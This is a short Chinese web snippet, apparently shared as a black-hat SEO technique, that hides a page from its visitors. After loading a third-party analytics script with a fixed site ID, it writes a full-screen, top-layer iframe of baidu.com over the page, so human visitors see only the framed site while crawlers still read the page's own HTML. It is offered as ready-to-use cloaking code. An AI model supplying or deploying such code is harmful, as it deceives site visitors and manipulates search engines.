设置屏蔽访客页面代码，支持HTML格式 seo技术

<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script>
<script>LA.init({id:"3Jz2CPQwdO8rmYod",ck:"3Jz2CPQwdO8rmYod"})</script>
<script type="text/javascript">
        if (navigator.userAgent.match(/(Phone|Mobile|iPhone|iPod|Android|ios|mobile)/i))
        {
    url = "http://www.baidu.com/";
        }
    else {
        url = "http://www.baidu.com";
        }

        document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
        document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
        document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;">');
        document.write('<iframe src=" ' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
        document.write('</div>');
    </script>